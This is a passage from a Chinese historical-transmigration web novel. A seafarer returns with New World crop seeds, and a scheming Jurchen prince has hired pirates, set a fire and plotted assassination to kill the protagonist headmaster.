“吴韧?你这是……做官了?恭贺恭贺啊!” “曹公子?你这是……” 吴韧所有的话顿时惊愕的停留在喉间。 他上下打量着这个全身被晒成古铜色,肌肉嶙峋,壮硕无比的男人,实在是与其原本记忆中所见到的那个白皙如玉,病怏怏的书生模样过于悬殊,不能说相似,简直是相差十万八千里!若不是其妻子刘氏就伴在他身旁,他险些,都要怀疑是被人所替换了! 曹时序无奈的解释道。 “没办法,海上风浪多,危险多,偶然登岛碰到原住民还需要与他们进行友好交流,时间长了,自然就成了这样了。” 毕竟古时又不像是现代,资源那么的丰富。 一出海,什么事都有可能发生。 人心难测,在陆地上的时候,大家都是好好的,乖巧又听话,可等行到了大海中央,难免就有那想要强夺主导权或者是挑衅地位、更改航线的人出现。为了扛住这些人的试探,保护好自己的财产与妻子,他只能强壮体魄以震慑,好好的一个文人都被逼的练起武来…… 其中艰难,即便向外人说,都未必会信。 吴韧打量着破旧的船体,以及明显少了大半的人数,识趣的没有再追问下去。 而两人一同隐过了此事后,便开始闲聊起沿路遇到的国家与风头人情来。 谈起这个,曹时序的话语不由变得多了起来。 他滔滔不绝的讲道。 “这次出海,我们绕了个大的路,并没有沿着交趾继续往南,而是绕过他们的港口,越过海峡,一路往西!起初,我们还疑惑童山长绘制的地图是不是真的,怎么可能大海正中央还有着岛屿,但你猜怎么着?我们还真的见到了不少的岛!那些岛上,有的根本没人,全是那种凶恶的野兽,有的却住着不少原住民,分裂着各种大国小国,甚至还有结族而居的,连文字、语言都无!他们长得也是奇形怪状,虽一个鼻子两个眼跟咱们没什么两样,但眼珠子、皮肤颜色、头发,却啥样的都有……” “一开始我们还蛮兴奋,认为不同的地方不同的风土人情,接触一下也好,毕竟那里有不少东西都是咱们这里没见过的,还有着庞大的宝石矿产之类,而咱们大奉朝的绸缎与瓷器则是硬通货,只要一点点就能够换他们那里不少的东西。刚开始我们也换了不少,可后来再登岛,就发现他们竟然有人想上船抢东西!还给我们下各种毒药!幸而船上有随行的老中医时刻警惕着,这才勉强避了过去……” “当然了,也有那水盗来劫船的,有一次,行到海中央,下着暴雨,他们拿着铁钩差点把我们的船凿翻!那一次,我们都以为肯定回不来了,可偏偏有个船员嗜酒如命,想起来用火把点燃了那些东西,扔到对方船上,这才勉强逃脱……” “除此之外,还有着各种天灾,海上的天气无常的很,经常突然就起暴雨,或者是狂风大作!船上的粮食和水总是不够,有一次,我们甚至行了大半个月都没有见到陆地,吃海鲜都快吃吐了,每个人都高度缺水,但谁曾想,峰回路转,又见到了个岛,那岛大极了,感觉几乎没有尽头,比我们大奉朝的疆域加起来还有好几个都多,上面的人皮肤黝黑,手里的武器还处于石头木棍的时期……” 附近围观的百姓越来越多,不由的都听呆了。 就连搬运货物的码头工,脚步都迟缓了很多,好奇不已。 他们平生,哪里读过这样惊险动魄的故事? 又是天灾又是人祸,又是层出不穷的冒险又是各种紧急的时刻,简直比他们做的梦还要精彩。 “后来呢?” 有人忍不住问道。 旁边的船员接过这个话题,继续细讲起来。 他们憋在海上太久了,太长时间没有听到乡音,没有和能够回应的人交流,每个人肚子里都存了一大堆想要分享的事,倾诉欲高到惊人。 曹时序也没有阻拦。 三年的时间,这些船员早就成为了他的亲人一般,或者说简直比亲人还要关系密切。 他们彼此信任,知道什么能说什么不能说。 趁着童山长还没来,曹时序先给他们全体放了假,一个人先分了一百两银子,让他们回家报平安去,远超原本约定好的数目。等童山长回来,辨认完这船货物,他再写信给他们回来复命,也不迟。 大家一一应了,在广州简单休息了几日,便四散回乡。 船上的所有物件被搬下来,破旧的船只则送回船厂,进行重新维修。 新鲜玩意儿摆满了港口处,看的人眼花缭乱。 不少乡绅过来凑热闹,一一看过去,可别说认识,就连听也未曾听过。 “童山长来了!童山长来了!” 随着一辆马车的靠近,周围的不少小子大声喊道。 托吴韧一天念三遍的福,整个广州府即便没怎么见过童启,也不怎么关注文坛与教育相关的事情,可在耳濡目染下也多少听闻了童启的名字。 对其神交已久。 了解颇多。 如今见到他来,便纷纷让开了位置,腾地儿给对方。 吴韧与曹时序欣喜不已,上前迎接,简单的寒暄几句后,童启被带到了港口处,一同查看他们所带回来的东西。 “实在是抱歉,山长所提到的那两样植物,红薯与土豆,我们一个也没找到。也不知道是不是走错了地方,还是说那东西暂时没被人种出来,总之,我们试着询问当地人,他们也说没有见到过,我们只能便将大奉朝没有见过的作物都统统薅回来了一些,请您辨认,看看是不是其中有认错的。” 童启点点头,沿着那些箱子一个个看过去。 他也没期待一次性就找到红薯、土豆那些高粮物种,因此乍听到这消息,也说不清心里是失望还是不失望。 毕竟对方能成功出海再回来,便已经非常了不起了,纵观整个中国历史,像曹时序这样出海走到非洲附近的,唯一一位也就是郑和了吧?可那都距今几百年以后了?对方带了多少人多少东西过去,而曹时序呢? 噫,比起来,已经是宛如神迹一般了。 纯赚! 他感叹着,一边辨认一边跟身后登记的人解释着这些带回来的东西用 途。 “这些基本上都是香料,可以熏衣也可以用作食物之中调整味道,这是豆蔻,这是丁香,这是沉香这是麝香……大奉朝本土其实应该也是这些东西,早期是东南亚传过来的,只是使用的人较少。” “这一箱应该是宝石玛瑙之类,属于矿物,与金银玉石之类属于同等高价值的等价物……上层贵族应该比较喜欢。” 多囤一些还是比较明智的。 起码光这一箱,就顶的上曹时序再出海几百次所用的花费了。 “至于这些嘛……就是一些植物的种子,我看看,咦?竟然有花生?还有向日葵?” 童启眼睛一亮,顿时蹲了下来。 身后紧跟着的曹时序与吴韧听见他的语气,也顿时紧张了起来。 “这可是榨油的好东西啊,出油量远比芝麻之类的要多得多,而且香气扑鼻,完全可以替代食用油!” 可替代食用油? 这个消息,令不少人精神一振。 如今的油类获取,普遍还是以大豆与芝麻居多,底层的百姓们用的仍旧是肉类炸出的油,原因就是香,且更实惠一些。 而花生和向日葵则打破了这个油类的短缺,为不少人提供了更多的选择。 很好,起码可以把油价打下来了,非常棒! 童启挑挑眉,顿时有了一种从古着市场寻宝的感觉,他晃了几眼,满意的让人收起来,走过去,又顿时走回来,从一个灰扑扑的布袋下面,刨出了几袋金黄色的玉米粒。 童启:??? 他近乎震惊的看着那金黄色的种子,忍不住脱口而出,“卧槽,你竟然找到了玉米?” “玉米?” 曹时序见他这个样子,茫然的解释道。 “这种作物山长认识吗?它原本并非这个样子,而是被包裹在一种极其大的叶子里,如同粽子一般,成熟之后就会结成一排排的米粒状,成为金黄色。这还是我在一处岛上发现的,上面只有少许的原始居民,拿了几个陶器,便换了一批!当地人称其为‘马西日’,说是可食用,但我们不知道要如何吃,所以便晒干后,一直存放在了箱底里。” “原来这学名是叫做玉米吗?倒是个好名字,它成熟后拨开外衣,的确如羊脂玉一般漂亮……” “这可不只是漂亮,这也是一种高作量产物!它与土豆、红薯几乎是一类的,不仅饱腹性极强,亩产也极高,而且耐旱、耐寒,还不挑地,其秸秆,对于土壤甚至有改良的用处,与大豆轮作的话,还能减少不少的病虫害,实在是非常适合百姓种植的类型……” 童启越说越激动,看着对方压根不知道这有多么的跨时代意义,他忍不住眼皮狂跳,口出狂言道。 “这么说吧,就这些种子,你能够让全国三分之一的百姓粮仓整体翻上一翻!保存好了,用此物封王封爵,也大有可能!” 听到这话,曹时序和吴韧等人瞬间震惊在了原地,半个身子也不由发麻了起来。 他不明白,自己不过是按照童山长的建议去寻找植物而已,竟误打误撞,能够把这样的神物给带回来,若真的像山长所说的那么厉害,那……那岂不是天下再无饿死的人了? 周围围观的群众们听到这,再也忍不住,跟着上前了两步,一同兴奋起来。 而后排之中,无人注意的角落里,却有几个乡民,悄然退出了人群中。 然而这寻宝的惊喜,仍未结束。 后续,童启又在那一堆的箱子里,发现了可可、橡胶树以及辣椒的种子…… 甚至还发现了几匹布料,用的是靛蓝的颜色。 简直收获颇多! 不仅如此,还有一些乱七八糟的,就连童启也叫不上名字的东西。 可以说,但凡大奉朝没见过的,曹时序都囤了一些,此刻一股脑堆到童启这边,让他鉴定,似乎毫不担忧对方不知道这是什么。 童启花了近乎一整日,唯恐遗漏,一一看过去,其中仍旧是药材与香料居多,更多的还是珠宝玉器之类,船上笼子里甚至还关了两只鸵鸟,称之为吉祥物,准备送给圣上,那两只鸟病恹恹,一看便跟着流浪了不久,在其食槽里,他竟然还发现了番茄的残汁! “你们竟然拿这个来喂鸟吗?” 他太阳穴一阵胀痛,忍不住竖了个大拇指给对方,然后让身后的人小心翼翼将那剩余的种子收起来,莫要再随意糟蹋下去。 第128章 第128章栽赃嫁祸 广州府有大船停靠的消息并没有隐藏太久。 童启将几个箱子里带回来的东西统一看过一遍之后,确认没有遗漏,便将所有物品的清单交给了曹时序。 此时,已经有不少广州府附近的州府人员得到了消息,派人来询问到底什么情况。 吴韧强硬的按下所有窥伺的目光,仍旧选择先询问曹时序的意见。 是要将这些东西统一变现为金钱再次出海,还是借由发现“玉米”的功劳,入京向圣上邀功,借此洗刷他们曹家全族流放的命运? “不管你做出什么样的决定,我们都会充分尊重的。” 童启点点头,与吴韧一同看着他。 望着两人无比信任偏重的目光,曹时序犹豫半晌,终究还是选择了带人入京。 毕竟这才是他一开始出海时真正的目的。 哪怕已经过去了三年,无比适应了海上的生活,天高地阔,见识了再多新鲜的事物,可洗刷他们曹家的冤屈,重新夺回圣上的谅解,回归京城,这才是他真正想要的。 童启沉默两秒,并没有打消对方想法的意思。 回京虽难,但也并非无可操作。 尤其是他深知曹家一系在此事上的执念。 不解开的话,只怕永世都难以挣脱。 只有亲自去碰一碰墙头,感受那份天家的无情与冷漠,才能看清楚一些事情,彻底顿悟。 更何况,对方手中还有新得的粮种,只冲着这个,圣上也会比往常多开几分薄面的吧? 童启不确定的想到。 为增加其北上的安全性,他头一次以自己的印章写了几封信给京城里的齐承胤齐大人,以及胡丞相等,为其作保,还令派了镖局的人一路护送。 曹时序感念其恩情,无以言喻,只得从怀中掏出几本书来,偷摸递给了童启。 “山长的救命之恩、赠银之恩,关照之恩,我曹家百死不足以报答,没什么可送的,这是我个人在海外时偶然得到的书籍,里面记载着一些国家的文化与历史,具体讲什么的,我也不太清楚,放在我手中也没什么用,索性以此送给您作为研究,增添书院的藏书阁一用吧!” 因为不怎么能够看的懂外邦的文字,所以外邦的书籍文化之类的东西,曹时序几乎一个也没有 带回来。 唯一的这一本,他却选择了送给对方。 童启惊讶的接过,打开,却发现这乃是一本讲述拜占庭帝国占星文化的书,其内涉及到了不少天文历史,甚至还有半本机械钟表的制作与原理说明! 他顿时眼睛亮了起来。 这可是个好东西啊! 不仅能清晰的了解外面历史到底进行到了何种时期,还能看一看他们此刻科技最发达的程度到达了哪里。 这简直不亚于那些从海外带回来的一箱箱粮种的价值! 见童启一脸兴奋的翻阅着,明显能够看得懂的模样。 曹时序心中不由得暗暗感叹起来。 不愧是童山长!他就知道,纵是天下人无人能够看得懂这本书,对方也一定能够看得懂,毕竟其可是不出门便知道天下事,懂得天下之言的童山长啊!未出过海,却能够将整个航海的地图错漏无疑绘画给他们的人! 一路上,船上的几个船员们不是没有人想要过这本书,即便看不懂其中的内容,可只是看着那些图画,便觉得必是重要之物。 可曹时序皆拒绝了,为的,就是将此物留给真正识得此价值的人。 幸而他做下了这个决定,这才不愧一路带回的辛苦。 见童山长欣喜,曹时序也乐得跟其多多讲述一些海外的风情。尤其是那些奇葩的文化与风俗,更是得到了不少人的好奇! “行到西处,其实也有那蓝眼睛黄头发的家伙想要跟着我们一起回来,说什么大奉朝就是他们传说中的金色王朝,我本还有些犹豫,可才几日下来,他们便跟着我船上的船员们讲述起什么宗教来,那表情狂热的就像是癫狂一般,我觉得不妥,便寻了个就近的地方,将他们搁下了……” 童启心中嘟囔着,幸好没带回来,不然,传教的第一批人就直接登录大奉朝土地了。 他立即肯定了曹时序的想法,同时心中也长松了一口气。 如今的西方仍旧是混战之中,暂时还没有崛起的意思,可大奉朝各方面却已经是个高度发展的文明了,没必要一再引入一些其他乱七八糟的思想,倒是这科技粮种之类的,倒可以多多益善一些。 “若你们今后打算要开港口的话,也一定要极其小心,避免这些从西方来的人,干扰老百姓的认知。他们个个对宗教有着无与伦比的狂热,虽不必驱赶,但也万不可退让允许他们传播。就像是曹公子这样避之不及,只进行物品交易,促进商贸即可,至于其他的,则大可不必,明白吗?” 吴韧忙应答了下来。 所有的物品被重新分类再次装上了新的航船。 一些不太稀罕值钱的东西,基本上都被留了下来,卖给了当地的乡绅,或者是赠给了童启,以作为其新分院校区的创建庆贺,剩下的,则全部被曹时序打包起来,送往了京城。 曹家这事,原本已经在三皇子面前过过了招呼,但其的态度只是假装不知晓罢了。 在圣上那里,曹家仍旧是被流放,惨死在西夏人手中的逆党。 这件事一日不解决,曹家便需隐名埋姓一日。 就像是那始终悬在脑袋顶上的刀,令人心存隐患。 尤其曹老连伊川县都不能出,那些旁支被流放各地,一辈子龟缩在方寸之中,三代不允许科考……而曹时序,此刻便形同于他们唯一的希望。 眼见着扬帆起航,曹公子缓缓驶离。 吴韧与童启并排而站着,轻声询问道。 “山长,您说这一次皇上会因为曹公子的功劳而赦免他们的罪过,以此饶恕他们一家吗?” “我觉得应该会的。” 童启回答。 这么久的接触,平心而论,他已经感觉到了当朝圣上并非一个贤君,但也并非什么弑杀痴愚之人。哪怕只是看在新粮种的份上,应该也不会过于责怪曹家。 “那……曹公子以后,还会有再出海的可能吗?” 童启沉默两息,摇了摇头道,“我也不知道。” 毕竟,不责怪与任用,两者之间,还隔着很远的距离。 圣上也许会赦免曹家,既往不咎,但朝中的大夫们已经闻到了鱼腥味,还会再将这出海明晃晃的利益拱手让人给曹家掌管吗?这谁也难以说得明白。 见到曹时序等人走远,童启也即将准备返回。 分院校正在火热筹备中,压根离不开人,他听到大船来港的消息,连继本叔都没来得及带,只匆匆孤身一人便来了广州府,再不回去,恐怕孩子们就要等的着急了。 可还没走,却又再次被吴韧所叫住。 作为最关注山长动态的徒弟之一,他自然也听闻了其要在潭州府开设华夏书院分院校的事情,他本身是十分支持这件事的,只是这分院校开设的地点嘛……恕他不太能够理解。 “为什么一定要在潭州府呢?” 吴韧疑惑的问道。 当初伊川县开设华夏书院的时候,童启的目标十分清晰,就是构建寒门的上升路途,要不也不会将书院建在学风不胜的伊川县。 可这一招落在潭州,着实让很多人都感觉到迷茫了。 不是说寒门吗? 这潭州府可是离寒门百丈远啊! 那里水深之复杂,党派之林立,别说在长沙县,就是整个南方,都小有听闻,吴韧作为广州府知府,自然也熟知一二。 “您若是想要找一个地方支持您开设分院校的打算,那不如来我们广州,其他的不说,我好歹是这里的知州,只要山长需要的,我一定竭尽所能满足,保证能够护住您和您的书院!” “只是潭州府,实在不是一个好去处。” “哦?你有什么内幕消息吗?”童启好笑的问道。 他自然知道潭州府的复杂。 可没想到的是,竟然连吴韧也如此劝说他。 自童启定下分院校地址之后,不少人都曾暗示明示的给他写信劝过,皆是希望他能够再三思考的,不建议他在那样复杂的环境中开设书院。 毕竟教育是个纯粹的工作。 派系多,就意味着难以统一,阶层丰富,便说明内流汹涌。 好不容易维系的平静若是被童启再次打破,那天高皇帝远,万一迁怒其中,出点事儿,可怎么办? 他们可不像是小侯爷沈亦或者是谢家那样的老牌世家那么好说话,这些人家里此刻正是烈火烹油兴旺之时,家中也基本上在朝中皆有着强大的背景亦或子弟任职,与平民百姓,不可同日而语。 见童山长一门心思,要在潭州干预一波,吴韧绞尽脑汁,只得将自己知晓的,一股脑倾倒出来。 “具体的我实际上也不太清楚,但是自来到这里后,潭州的名字我已经听过数次。若说整个北方如今还恭敬臣服于王朝皇权之下,那南方,便有很多人颇有不臣之心,暗暗养着死士、部曲,意图割据地方。他们的声望在此地,也如同藩王一般,颇觉威势。” “其中最厉害的也不过是李、楚、司、旬四家。” 李、楚、司、旬? 童启心中简短的过了一遍这几个姓,认真的倾听起来。 “李家,那是老豪门望族了。听闻最久可追溯到唐朝,与皇室亲同一家,其家主的亲弟弟,如今乃是整个南方的巡盐吏使,几乎掌握了所有的盐商与盐票,地位无可撼动,足见他们家的富贵厉害之处。而楚家则是著名的前阁老楚师宗的家族,他乃胡丞相之师,更是曾经的太傅大人,据说当今圣上便是他一手扶持上来的,就连几位王爷皇子,也曾受过其的教导之恩,不敢轻易招惹。北方的文昌书院您可知晓?那,便是其家族中的小辈所开设的。虽声望不高,可手底下的学生却个个出身非凡,足以见其布局深远。” “至于司家嘛,那属于皇商之家,主要负责宫中的衣料、胭脂等女子之物的采买,与贵妃娘娘、以及如今宫中各部掌司皆十分相熟。早年间据说十分受皇后娘娘 的喜爱,圣上甚至还亲自召见过他们的家主,被哄得眉开眼笑的,颇具帝心。旬家稍逊于其他几大家,但却是墨家矩子的亲徒,其船坞闻名于整个大奉朝,南方不少大船都是他家造的,就像是曹公子所驾驶的这艘,当年便是从其退订的客户手中抢来,不然,只怕连出海,都困难的紧。” 总之,整体听下来,哪一个都比童启这种新一代起来的要厉害的多了。 基本个个有来头,个个不能得罪招惹。 童启再叼,不过一个人,即便手握系统,帮助也有限。 可人家家族动不动上百人,这个死了,还有下一个,即便围殴也占优势不是?再说了,他们不知历经多少朝代风雨,享受过多少民脂民膏,就是对阵的经验,也远远非常人可比,打骨子里瞧不上他这种泥腿子,不也正常? 难怪求真书院如此倨傲呢。 童启挑挑眉,这才有了几分难缠的后知后觉之感。 但是,要想开设书院,提高他的声望,那南方,绝对是无可避开的阵地。 若此刻不从最难啃的骨头开始啃起,放到后面,打草惊蛇,还能啃得动吗? 童启已经不是刚穿过来开设第一家书院时的状态了,万事都得苟着,生怕别人注意,他现在,可是在圣上面前也有名号的人!光是进入朝堂的弟子,便颇觉规模,此时不浪,又到何时浪? 这乃是塑造影响力与声望的战争。 如果潭州是头部最难开拓的,那么只要他能成功拿下这里,整个南方,便拿下了一半! 可如果避开,去别的地方,无疑是放下了最大的市场。 等系统最后结算,这里仍旧是避不开的地方。 不更是膈应非常吗? 童启心下确定,唯有面对着吴韧担忧的眼神,这才方软了几分,安慰道,“不必担忧,这些我若知晓,自然会想办法避开的。不破不立,越是难的地方,才越是有生的机遇。” 见到山长不愿后退,吴韧只得放弃劝说。 可也并未让童启立刻离开,而是将其带到了州府县衙中,令其查看自己上任这段时间内,所治理的情况。 学生“交作业”,童启自是无法拒绝。 他认真的望过去。 其实,要看当地官员是否称职,从当地百姓们的精神面貌便可窥得一二。 只见广州府内虽贫穷于其他州府,连身像样的衣服也凑不出来,可大多数百姓朝气磅礴,面色红润,自有一副勃勃生机之态,便知吴韧应是下了不少的功夫。 “不错,欣欣向荣,官民和乐,你没有忘记自己的初心。” 他不假思索的赞道,两句话,直接将这个徒弟说的双脸通红,不好意思的低下脑袋来。 且说曹时序将物品统一装上船,带着镖局的安保人员一路北上,往京城而去。 直行至流云港附近,却遇到了劫船的海寇。 十几个莽汉突然从水中冲出,趁着夜黑风高,拿起刀来便一路砍杀而去,吓得所有人避之不及。 “护主!莫慌,护主!” 镖局领头的护卫大声呼喊着,带着人守在曹时序身旁,哪料到对方直接推开他们,拿起海叉反冲了出去。 镖局护卫:!!! 三年的航海经历,令曹时序成长颇多,早已经不是原本的那个脆弱书生模样。 即便是面对再穷凶极恶的匪徒,他照样能够在对方的手底下过个几招。 反而是这些精心准备的镖局护卫们,颇有些惊愕,躲闪不及,便被砍在胳膊、大腿上。 甲板上,顿时血流如注。 曹时序见状,忙护着众人向后退去,同时大声喊道。 “东西你们拿走,莫要伤人!莫伤人!” 比起死物,显然人命更贵重些。 为了保全这些人,他甚至愿意将身家性命之物交出来。 可即便如此,那些贼寇便会退让吗? 并不。 他们明显是受人买通,招招式式皆冲着命脉而来。 无理至极。 更有那极端的,竟然想要用火烧船! 不惜让整个船上的人一起死亡! 镖局的人大声喊着,不得不联合起来杀贼,可贼子的数量实在是太多了,层出不穷的从水下钻出,如同水鬼一般。 不远处,岳灼华正蹲在岸上,领着手底下的人练习凫水。 远远看到此处火把阵阵,惊杀声不断,不由派了个探子,前往查看到底发生了什么事情。 副将匆匆赶回,低声禀告道,“将军!远处似乎有海寇在围攻商船!” 什么? 围攻商船? 这是疯了不成? 她被派往这里负责的便是打击倭寇海贼!这岂不是就等于在自己眼皮子底下故意犯事吗? 也太嚣张了些! 闻言,她立刻点了数十名士兵前往救援去。 “何人胆敢在此处犯案?我乃岳将军,奉命剿灭海贼,尔等还不速速束手就擒?降者不杀!” 听到岳灼华的喊话,那些海寇顿时招式更狠了几分。 俨然根本不将其放在眼里! 气的岳灼华哐哐上前两箭,直接把打的最跳脱的两个海寇直接钉死在了船檐之上。 援兵入阵,顿时场面调转。 海寇直接被杀的杀,抓的抓。 曹时序狼狈的用刀支撑着身体,抱拳谢道。 “感谢小将军营救。” 然而,随着身后火把的盈盈灯火照亮岳灼华的脸庞,他这才惊讶的认出,此人竟然就是自己妹妹的闺中密友。 “岳灼华?” “时序哥?” 岳灼华惊讶的看着他,多年不见,她与很多人一样,都以为其已经丧生在大海之中了,哪里想到,他竟然回来了? 还……变成了这副模样? 两个人简单寒暄之后,曹时序这才知晓了岳灼华这几年的经历。 而她也顺势得知了童启童山长此刻正在广州府的事实。 悄然按下上挑的眉头,她疑惑询问道。 “你说你方才从广州府而来,那就不对了。那地方地处偏僻,山瘴又多,少有海寇劫掠的啊,怎么可能会有人一路蹲守,跟随到这里呢?” 而且费尽周折,只为了劫一些他们也不知道到底是什么的东西? 可能吗? 这里面绝对有问题。 岳灼华摆摆手,令人将方才那些砍杀的尸体抬上来,只见这些人虽身上的衣服与海寇穿着极其相似,出场也的确是水中,可长相、体型,却与长期在水中呆着的水贼完全不同。 论样貌,不仅不像是中原人,反倒是有点像是……外邦人。 “什么意思?你觉得这不是意外,而是有人故意为之?” 曹时序惊讶道。 岳灼华冷静的点了点头。 可到底谁会刻意针对一个刚刚架船回国的人呢? 他们又是从哪里得到的消息,他会走这一条航路呢? 曹时序眉头紧皱,努力思考着,这才想起方才遭到劫杀的时候,他隐隐感觉到不对的地方。 明明是杀人夺财,可除了那些下手狠厉,刀刀见血的人,另一群海贼却像是在有意寻找什么,放着他大老远千里迢迢带回来的珍贵珠宝不要,反而净去搜寻那些植物种子的箱子? 这也太奇怪了些。 “看来,你应该是从出广州府开始,就被人盯上了。” 岳灼华斩钉截铁的说道。 曹时序顿时神色一慌。 “那童山长他们?” 他这才想起广州府的安危,倘若真有外邦人得知了消息,特意冲着粮种而来,那么在追杀他的同时,童山长那边,难道就会安全吗? 岳灼华显然也察觉到了这其中的危险程度,她派了手底下的副队长跟着一群人带着曹时序,护拥着他继续北上,而自己则前往广州府一趟,看看到底什么情况。 如他们所预料到的。 在曹时序走的当晚,广州府知府县衙便惨遭到了一场火灾。 熊熊大火起的诡异,明显是没有想要给他们留下任何东西的 意思,出手便是直冲着杀人而来,不仅将府门内外都上了锁,下人们迷晕在了房间里,就连院中水井里的木桶都一并给摘除了而去。 等童启清醒过来的时候,屋外已经难以离开了,火势凶猛,直扑门内。 幸好吴韧本人平时得人心,这才没持续多久,不少未睡的附近百姓看到后,敲锣打鼓,大喊着“走水了,走水了”,提着锅碗瓢盆便来救火,这才勉强将火势给灭了下去。 “等一下,山长,童山长还在里面!” 被救出的吴韧脸色一变,慌张的爬起身便想要往里冲去,可却连忙被人给匆匆拉住了。 “知府大人莫急,童山长吉人自有天相,肯定会无事的!” 邻里街坊劝诫道。 吴韧一把推开诸人,大骂道。 “去你妈的无事,山长若出了什么问题,我万死难谢其罪!” 他想起之前书院教导过的救火之事,将旁边的被褥整个浸湿在了水盆中,然后头一蒙,身一披,便往内冲去。 王绾儿惊呼出声,别提有多担忧了! 可即便如此,也不敢有半刻阻拦。 实际上,童启早就在系统的帮助下,隔绝了周围的火势,只要不是靠近那些火源,他怎么也不会被烧到的,只是浓浓熊烟包裹着他,咳呛的难以呼吸,这才行动迟缓,没来得及逃脱,只能暂时解下窗幔借着茶水来堵住口鼻。 正当他以为命悬一线,这辈子小命玩儿完的时候。 吴韧披着被褥冲进来了。 那一瞬间,真的,童启感觉这两辈子的教书生涯,都彻底圆满了! 连拖带拽的将童启护着跑了出去,大家忍不住长松一口气。 而至此,童启也终于明确的知道了一个事情,那就是,的确已经有人盯上了他。 不止一次,而是再三再四的想要换着法的弄死他。 这一次只是继本叔没有来得及跟上而已,便出了如此大的差子,在官衙府上还能如此,那若是他一个人置身荒郊野外呢? 那不是妥妥的被吃的身体都不剩吗? 吴韧简直快要气疯了,他好不容易请山长来做客一次,还没有好好的让对方观赏一下自己治下的情况呢,就出了这样的事,很难想象,若是真的受到哪里伤害,那几个同窗又会如何骂他! 这一次,他发了很大的火,也不顾及什么证据不证据了,直接令人将那日看到鬼鬼祟祟凑在府门外的人狠狠打了几十大板,这才从他们的口中,勉强榨出了几句话来。 原来,他们的确是被人收买了。 “但火,却并不是我们放的啊!” 那几个百姓忙不迭的哭诉道。 “我们只是受命将他们给的煤油柴火堆积在府门外而已,万万没有想到会起这么大的火!大人,我们错了,我们实在是没有杀您的意思,只是猪油蒙了心,被那外邦人用银子给骗了啊!” 他们凄惨的求饶道。 可这一次,吴韧却不再心软了,他直接令人将他们关在了牢房里,从重发落。 而童启则在思考着这些百姓们口中的信息。 外邦人…… 外邦人? 这个信息让他顿时想起了那次伊川县百姓们聚众打死了县令的事情。 同样是借助民愤,同样是借助百姓之手。 这出招,怎么看,怎么像是同一个人。 原本他还以为是契丹的耶律隆绪等人不服气,搞出的这件事,可如今看来,却有点不太对劲了。 和谈刚过,没人想要看战事再启。 若他死了,谁会受益?反正辽国肯定不是收益的那一方。 他们刚刚打完,正是被动的时候,此刻再开战,无异于找死。 那么……去掉契丹族,又不可能是西夏,还会有谁呢? 童启摩挲着手上的毛毯思考着,如今大奉朝周围的几个外邦。 突然,他脑海中电光火石一般,闪过一个名字。 金! 女真族? 对啊,怎么把他们给忘了呢? 童启眼睛一亮,无语的扶住脑袋。 许是本能的认为此刻还不到历史上金国出场的时候,所以童启压根没往那上面想过,可如今才发现,怎么不会是他们呢? 最后的捡漏人,乐于看到两国斗得更凶的人物。 除了女真,还会有谁呢? 童启已经从方方面面证明了他对大奉朝的影响力了,有其存在的一天,他们的挑拨便很难生事。 而除掉童启,将其嫁祸给其他人身上,便成为了最好用的方法。 就是不知道如此恶毒的想法,是出自女真哪一个人之手了。 第129章 第129章国之栋梁 此刻,远在一州之外的潭州府。 天字号客栈内。 一个年方十五的少年正慢悠悠喝着茶,听着下面人的禀报,面露惊讶。 “真是可惜了那些好粮种。” 他叹息道。 亩产千斤呐! 纵使自己的人始终跟在童启身后,可当听到这个消息时,仍旧不免感到讶异,疑似是传错了数字。 想他金国,每年冬日都费尽心气攒存粮草,仍远远不够供养所有的子民。 可大奉朝呢?守着那样大的土地,却国运如此之好,哪怕什么都没有做,只是静等着,便有底下的人眼巴巴从海外寻回粮种供养上去。 这怎么能不让人嫉妒呢? 简直没处说理去嘛! 因此,他当机立断便派了一支队伍,前往拦截那船货物,想要把种子劫掠到手。 甚至为此,不惜销毁童启等一切知晓此事的人。 可谁知,就这,也能再出现意外。 岳灼华…… 怎么偏偏碰到的是她? 黄龙府之战,与辽国都能打的有来有回,纵使有火炮加成,一手的箭术,也足以叹一声勇将了。 只可惜啊,如此人才,却不是他们国家的。 “罢了。” 也是孽缘,天命不在我。 他摆摆手叹道。 “又是童启又是岳灼华,也许,这大奉朝冥冥之中自有天道所眷顾吧,不然怎么解释,敌在明,我们在暗,却屡次计划落空,难以奈何他们半分呢?有这样的人在,我金国欲重新崛起,实在是难上加难啊。” 他喃喃说着,底下的人沉默低头,不敢有任何言语。 显然,这金国王子也没有期待对方回答的意思,自顾自说完后,便信手拿过旁边早已经准备好的户籍身份证明,翻看了起来。 “这便是你们准备好的户契?” “是。” 底下的人恭敬答道。 “这些,皆是潭州府如今较为富庶的几大家族中远门旁支的小辈名单。只要您愿意,从今日开始,便可以成为其中某一家的人,来此求学,至于 被代替了身份的人,我们会想办法封口,买通一切,确认无论童启如何查,都会查到一样的答案。” 金国王子垂眸翻看着,从四大家族,看到末尾的书香门第,随意挑中了一个名字。 “李维立,就这个人吧。封口多麻烦,按老规矩处理,别留祸患就是。” 下属滞了一秒,恭敬应答了下来,退后不提。 正所谓知己知彼,百战不殆。 金国王子如今存的便是这个心思。 他需要一个不被怀疑的汉家子弟身份,不能太低,也不能太高,最好可以悄无声息的混进去华夏书院新开的分院校,可又不能与其他学生一样,泯灭与人群之中。 他需要优秀,优秀的让童启喜欢、重视,将他当成最骄傲的学生。 然后再趁着对方不备,放下所有警惕的时候,以学生的身份,将匕首狠狠插入对方心中,令其永生永世都难以遗忘。 啊,真期待那个时候童启的表情。 一定会非常惊愕吧? 想想便令人觉得血脉喷张。 他阴冷的笑着,满眼皆是嘲讽之意。 放眼整个潭州府,也许,他才是那个最期待童启招生的人。 如今的潭州,虽还未建好分院校,可名声却早已经传了出去。 各方都紧张了起来。 司家先放出了话,不允许族中任何小辈进入童启所开设的书院就读。 这其中还牵扯着一桩公案,司家本就是绸缎皇商起家,基本包揽了南方所有的绣娘与织场,前几年打商战,明明差点就把整个北方也全部垄断了,可偏偏童启搞出了个什么棉花种子,一下子,批量的棉布入市,令司家存货直接攒在了手里,差点就栽了一个大跟头! 如今见到童启自投罗网,来他们的地盘开书院,又怎么可能不报复回去? 而其他几大家族,也基本上是各有原因,根本瞧不上什么所谓的书院。 他们或世族或豪门,不缺良师,也不缺族学,自有家族上升之道,何必去认个莫名其妙的山长师父,令其施恩呢? 只除了等着雪中送炭,脱颖而出的金国王子,其外,只怕潭州府所有人,还没有急着真想要入学的。 再说广州府,童启等人半夜被人放火烧屋,差点原地去世。 等岳灼华收到消息匆匆赶到时,整个广州府知府府衙都已经被烧的差不多了。 童启裹着一个毛毯,狼狈的坐在烧焦的断瓦残垣旁边,望着远方,静静的发着呆。 